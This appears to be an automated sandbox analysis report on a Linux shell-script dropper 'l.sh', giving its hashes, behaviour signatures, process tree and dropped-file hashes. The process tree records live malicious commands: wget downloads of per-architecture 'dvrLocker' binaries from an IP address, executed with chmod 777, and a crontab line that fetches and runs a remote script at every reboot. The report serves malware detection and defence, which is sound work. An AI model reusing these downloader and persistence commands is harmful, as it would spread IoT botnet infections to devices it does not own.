Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09-11-2024 08:41

General

  • Target

    l.sh

  • Size

    916B

  • MD5

    19c4fe1b103747e55af818fc3f07fdbe

  • SHA1

    ccb4350c6ce8bb9449a9dc5dfa4910762d1d9fe8

  • SHA256

    7bad123032a0e9a4f6d7a399b7d7a171c24f505201186d679ca495ba936195bd

  • SHA512

    2d3f697da5886721e51cbc720a77c9c755027d361a7e139de80be1ee5c2dd1c76a20d3c33fb32177a5318400fbec36555c93cd9b860e398b5b1fd73e3c5fa270

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 2 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/l.sh
    /tmp/l.sh
    1⤵
    • Writes file to tmp directory
    PID:640
    • /bin/ls
      ls -l /proc/1/exe
      2⤵
      • Reads runtime system information
      PID:641
    • /bin/ls
      ls -l /proc/10/exe
      2⤵
      • Reads runtime system information
      PID:647
    • /bin/ls
      ls -l /proc/106/exe
      2⤵
      • Reads runtime system information
      PID:651
    • /bin/ls
      ls -l /proc/108/exe
      2⤵
      • Reads runtime system information
      PID:654
    • /bin/ls
      ls -l /proc/109/exe
      2⤵
      • Reads runtime system information
      PID:657
    • /bin/ls
      ls -l /proc/11/exe
      2⤵
      • Reads runtime system information
      PID:660
    • /bin/ls
      ls -l /proc/12/exe
      2⤵
        PID:664
      • /bin/ls
        ls -l /proc/13/exe
        2⤵
        • Reads runtime system information
        PID:667
      • /bin/ls
        ls -l /proc/137/exe
        2⤵
          PID:668
        • /bin/ls
          ls -l /proc/14/exe
          2⤵
          • Reads runtime system information
          PID:671
        • /bin/ls
          ls -l /proc/141/exe
          2⤵
            PID:673
          • /bin/ls
            ls -l /proc/146/exe
            2⤵
              PID:676
            • /bin/ls
              ls -l /proc/147/exe
              2⤵
              • Reads runtime system information
              PID:679
            • /bin/ls
              ls -l /proc/15/exe
              2⤵
                PID:680
              • /bin/ls
                ls -l /proc/16/exe
                2⤵
                • Reads runtime system information
                PID:682
              • /bin/ls
                ls -l /proc/167/exe
                2⤵
                • Reads runtime system information
                PID:683
              • /bin/ls
                ls -l /proc/17/exe
                2⤵
                • Reads runtime system information
                PID:685
              • /bin/ls
                ls -l /proc/18/exe
                2⤵
                  PID:686
                • /bin/ls
                  ls -l /proc/19/exe
                  2⤵
                    PID:687
                  • /bin/ls
                    ls -l /proc/2/exe
                    2⤵
                      PID:688
                    • /bin/ls
                      ls -l /proc/20/exe
                      2⤵
                        PID:689
                      • /bin/ls
                        ls -l /proc/200/exe
                        2⤵
                          PID:690
                        • /bin/ls
                          ls -l /proc/21/exe
                          2⤵
                            PID:691
                          • /bin/ls
                            ls -l /proc/219/exe
                            2⤵
                              PID:692
                            • /bin/ls
                              ls -l /proc/22/exe
                              2⤵
                                PID:693
                              • /bin/ls
                                ls -l /proc/23/exe
                                2⤵
                                • Reads runtime system information
                                PID:694
                              • /bin/ls
                                ls -l /proc/24/exe
                                2⤵
                                  PID:695
                                • /bin/ls
                                  ls -l /proc/25/exe
                                  2⤵
                                    PID:696
                                  • /bin/ls
                                    ls -l /proc/26/exe
                                    2⤵
                                    • Reads runtime system information
                                    PID:697
                                  • /bin/ls
                                    ls -l /proc/268/exe
                                    2⤵
                                    • Reads runtime system information
                                    PID:698
                                  • /bin/ls
                                    ls -l /proc/269/exe
                                    2⤵
                                      PID:699
                                    • /bin/ls
                                      ls -l /proc/27/exe
                                      2⤵
                                        PID:700
                                      • /bin/ls
                                        ls -l /proc/271/exe
                                        2⤵
                                          PID:701
                                        • /bin/ls
                                          ls -l /proc/273/exe
                                          2⤵
                                            PID:704
                                          • /bin/ls
                                            ls -l /proc/274/exe
                                            2⤵
                                              PID:706
                                            • /bin/ls
                                              ls -l /proc/28/exe
                                              2⤵
                                              • Reads runtime system information
                                              PID:708
                                            • /bin/ls
                                              ls -l /proc/29/exe
                                              2⤵
                                              • Reads runtime system information
                                              PID:709
                                            • /bin/ls
                                              ls -l /proc/3/exe
                                              2⤵
                                              • Reads runtime system information
                                              PID:712
                                            • /bin/ls
                                              ls -l /proc/305/exe
                                              2⤵
                                                PID:713
                                              • /bin/ls
                                                ls -l /proc/308/exe
                                                2⤵
                                                • Reads runtime system information
                                                PID:716
                                              • /bin/ls
                                                ls -l /proc/309/exe
                                                2⤵
                                                • Reads runtime system information
                                                PID:717
                                              • /bin/ls
                                                ls -l /proc/321/exe
                                                2⤵
                                                • Reads runtime system information
                                                PID:719
                                              • /bin/ls
                                                ls -l /proc/4/exe
                                                2⤵
                                                  PID:721
                                                • /bin/ls
                                                  ls -l /proc/41/exe
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:723
                                                • /bin/ls
                                                  ls -l /proc/42/exe
                                                  2⤵
                                                  • Reads runtime system information
                                                  PID:725
                                                • /bin/ls
                                                  ls -l /proc/43/exe
                                                  2⤵
                                                    PID:727
                                                  • /bin/ls
                                                    ls -l /proc/5/exe
                                                    2⤵
                                                      PID:728
                                                    • /bin/ls
                                                      ls -l /proc/573/exe
                                                      2⤵
                                                        PID:730
                                                      • /bin/ls
                                                        ls -l /proc/586/exe
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:731
                                                      • /bin/ls
                                                        ls -l /proc/591/exe
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:733
                                                      • /bin/ls
                                                        ls -l /proc/593/exe
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:735
                                                      • /bin/ls
                                                        ls -l /proc/594/exe
                                                        2⤵
                                                        • Reads runtime system information
                                                        PID:737
                                                      • /bin/ls
                                                        ls -l /proc/6/exe
                                                        2⤵
                                                          PID:739
                                                        • /bin/ls
                                                          ls -l /proc/625/exe
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:741
                                                        • /bin/ls
                                                          ls -l /proc/632/exe
                                                          2⤵
                                                            PID:742
                                                          • /bin/ls
                                                            ls -l /proc/633/exe
                                                            2⤵
                                                              PID:744
                                                            • /bin/ls
                                                              ls -l /proc/635/exe
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:745
                                                            • /bin/ls
                                                              ls -l /proc/637/exe
                                                              2⤵
                                                                PID:747
                                                              • /bin/ls
                                                                ls -l /proc/638/exe
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:749
                                                              • /bin/ls
                                                                ls -l /proc/639/exe
                                                                2⤵
                                                                  PID:751
                                                                • /bin/ls
                                                                  ls -l /proc/640/exe
                                                                  2⤵
                                                                    PID:753
                                                                  • /bin/ls
                                                                    ls -l /proc/7/exe
                                                                    2⤵
                                                                      PID:754
                                                                    • /bin/ls
                                                                      ls -l /proc/76/exe
                                                                      2⤵
                                                                        PID:757
                                                                      • /bin/ls
                                                                        ls -l /proc/8/exe
                                                                        2⤵
                                                                          PID:760
                                                                        • /bin/ls
                                                                          ls -l /proc/9/exe
                                                                          2⤵
                                                                            PID:761
                                                                          • /bin/ls
                                                                            ls -l /proc/98/exe
                                                                            2⤵
                                                                            • Reads runtime system information
                                                                            PID:765
                                                                          • /bin/rm
                                                                            rm -rf /tmp/lib/
                                                                            2⤵
                                                                              PID:767
                                                                            • /bin/rm
                                                                              rm -rf /tmp/lib/dvrLocker
                                                                              2⤵
                                                                                PID:769
                                                                              • /bin/mkdir
                                                                                mkdir /tmp/lib/
                                                                                2⤵
                                                                                • Reads runtime system information
                                                                                PID:770
                                                                              • /usr/bin/wget
                                                                                wget http://45.202.35.91/mpsl -O -
                                                                                2⤵
                                                                                  PID:773
                                                                                • /bin/chmod
                                                                                  chmod 777 dvrLocker
                                                                                  2⤵
                                                                                  • File and Directory Permissions Modification
                                                                                  PID:783
                                                                                • /tmp/lib/dvrLocker
                                                                                  ./dvrLocker tplink.new
                                                                                  2⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:784
                                                                                • /bin/rm
                                                                                  rm -rf mpsl
                                                                                  2⤵
                                                                                    PID:787
                                                                                  • /usr/bin/wget
                                                                                    wget http://45.202.35.91/mips -O -
                                                                                    2⤵
                                                                                    • System Network Configuration Discovery
                                                                                    PID:788
                                                                                  • /bin/chmod
                                                                                    chmod 777 dvrLocker
                                                                                    2⤵
                                                                                    • File and Directory Permissions Modification
                                                                                    PID:789
                                                                                  • /tmp/lib/dvrLocker
                                                                                    ./dvrLocker tplink.new
                                                                                    2⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:790
                                                                                  • /bin/rm
                                                                                    rm -rf mips
                                                                                    2⤵
                                                                                    • System Network Configuration Discovery
                                                                                    PID:792
                                                                                  • /usr/bin/wget
                                                                                    wget http://45.202.35.91/arm -O -
                                                                                    2⤵
                                                                                      PID:793
                                                                                    • /bin/chmod
                                                                                      chmod 777 dvrLocker
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:798
                                                                                    • /tmp/lib/dvrLocker
                                                                                      ./dvrLocker tplink.new
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      • Renames itself
                                                                                      • Changes its process name
                                                                                      • Reads runtime system information
                                                                                      PID:799
                                                                                      • /bin/sh
                                                                                        sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
                                                                                        3⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:800
                                                                                        • /usr/bin/crontab
                                                                                          crontab -
                                                                                          4⤵
                                                                                          • Creates/modifies Cron job
                                                                                          • Reads runtime system information
                                                                                          PID:802
                                                                                        • /usr/bin/crontab
                                                                                          crontab -l
                                                                                          4⤵
                                                                                          • Reads runtime system information
                                                                                          PID:803
                                                                                    • /bin/rm
                                                                                      rm -rf arm
                                                                                      2⤵
                                                                                        PID:809
                                                                                      • /bin/chmod
                                                                                        chmod 777 dvrLocker
                                                                                        2⤵
                                                                                        • File and Directory Permissions Modification
                                                                                        PID:811
                                                                                      • /tmp/lib/dvrLocker
                                                                                        ./dvrLocker tplink.new
                                                                                        2⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:812
                                                                                      • /bin/rm
                                                                                        rm -rf arm5
                                                                                        2⤵
                                                                                          PID:813
                                                                                        • /usr/bin/wget
                                                                                          wget http://45.202.35.91/ppc -O -
                                                                                          2⤵
                                                                                            PID:815
                                                                                          • /bin/chmod
                                                                                            chmod 777 dvrLocker
                                                                                            2⤵
                                                                                            • File and Directory Permissions Modification
                                                                                            PID:816
                                                                                          • /tmp/lib/dvrLocker
                                                                                            ./dvrLocker tplink.new
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            PID:817
                                                                                          • /bin/rm
                                                                                            rm -rf ppc
                                                                                            2⤵
                                                                                              PID:818
                                                                                            • /usr/bin/wget
                                                                                              wget http://45.202.35.91/arm7 -O -
                                                                                              2⤵
                                                                                                PID:819
                                                                                              • /bin/chmod
                                                                                                chmod 777 dvrLocker
                                                                                                2⤵
                                                                                                • File and Directory Permissions Modification
                                                                                                PID:820
                                                                                              • /tmp/lib/dvrLocker
                                                                                                ./dvrLocker tplink.new
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:821
                                                                                              • /bin/rm
                                                                                                rm -rf arm7
                                                                                                2⤵
                                                                                                  PID:823
                                                                                                • /usr/bin/wget
                                                                                                  wget http://45.202.35.91/arm6 -O -
                                                                                                  2⤵
                                                                                                    PID:824
                                                                                                  • /bin/chmod
                                                                                                    chmod 777 dvrLocker
                                                                                                    2⤵
                                                                                                    • File and Directory Permissions Modification
                                                                                                    PID:826
                                                                                                  • /tmp/lib/dvrLocker
                                                                                                    ./dvrLocker tplink.new
                                                                                                    2⤵
                                                                                                    • Executes dropped EXE
                                                                                                    PID:828
                                                                                                  • /bin/rm
                                                                                                    rm -rf arm6
                                                                                                    2⤵
                                                                                                      PID:830
                                                                                                    • /usr/bin/wget
                                                                                                      wget http://45.202.35.91/x86 -O -
                                                                                                      2⤵
                                                                                                        PID:831
                                                                                                      • /bin/chmod
                                                                                                        chmod 777 dvrLocker
                                                                                                        2⤵
                                                                                                        • File and Directory Permissions Modification
                                                                                                        PID:833
                                                                                                      • /tmp/lib/dvrLocker
                                                                                                        ./dvrLocker tplink.new
                                                                                                        2⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:836
                                                                                                      • /bin/rm
                                                                                                        rm -rf /mnt/dvrLocker
                                                                                                        2⤵
                                                                                                          PID:839

                                                                                                      Network

                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      • /tmp/lib/dvrLocker

                                                                                                        Filesize

                                                                                                        100KB

                                                                                                        MD5

                                                                                                        4ad582d49f505bfab7de84881998685b

                                                                                                        SHA1

                                                                                                        5f09f4baed114b594729ded91e2c4d263f0e2754

                                                                                                        SHA256

                                                                                                        b1e8713db49c15b272baa11e5569ecb4f22fd6064f5aa59ed236d0af58f159a1

                                                                                                        SHA512

                                                                                                        6f35bfb8aca5fd02f6e690fe0628595531dba7463265b1a66ff801c7744690f3317f611ab07e45fdfc28a17a32a891de92b1d026de30bf327aa304395b0905f4

                                                                                                      • /tmp/lib/dvrLocker

                                                                                                        Filesize

                                                                                                        99KB

                                                                                                        MD5

                                                                                                        559f129d380ad1cfb60792c6b2dc3d32

                                                                                                        SHA1

                                                                                                        3997a0fc0bd5958783f1751364ec407c5b170adc

                                                                                                        SHA256

                                                                                                        fbdbd0392519e49a09e647d8c83046fb15d6dcbb8246ee2f813d10018ba8ac3d

                                                                                                        SHA512

                                                                                                        9f5c39334121b5bde6a282f47b92a841130627f1554ff5089005c371af4c2be5ddc467ad594013fa2fb70a55172b6ba7a6caf50c0cba56564170e482955dc112

                                                                                                      • /tmp/lib/dvrLocker

                                                                                                        Filesize

                                                                                                        77KB

                                                                                                        MD5

                                                                                                        d09db60a70d5b53b5b53ad39476fd7e8

                                                                                                        SHA1

                                                                                                        73a75e5e8200f77d857a7256cc0979077e29241d

                                                                                                        SHA256

                                                                                                        36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

                                                                                                        SHA512

                                                                                                        ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

                                                                                                      • /var/spool/cron/crontabs/tmp.x2KALa

                                                                                                        Filesize

                                                                                                        306B

                                                                                                        MD5

                                                                                                        c8f52a3f659ca7c7be0a52692aa80acb

                                                                                                        SHA1

                                                                                                        1e01d51afb31de66a9a6896f490cbdc600d6fbb2

                                                                                                        SHA256

                                                                                                        0c4cc6adfb5874320fd772ed7dd0cfc7de1be3fa71f2514372340060dbcd0a10

                                                                                                        SHA512

                                                                                                        9c698983ab33f355f131c79974f0b1028a0ddb987011b14c34b2f64d56f14edc0cb7093f8b4284780b9d06234a9faa89eb25863ee873aade327f936cd04aba3f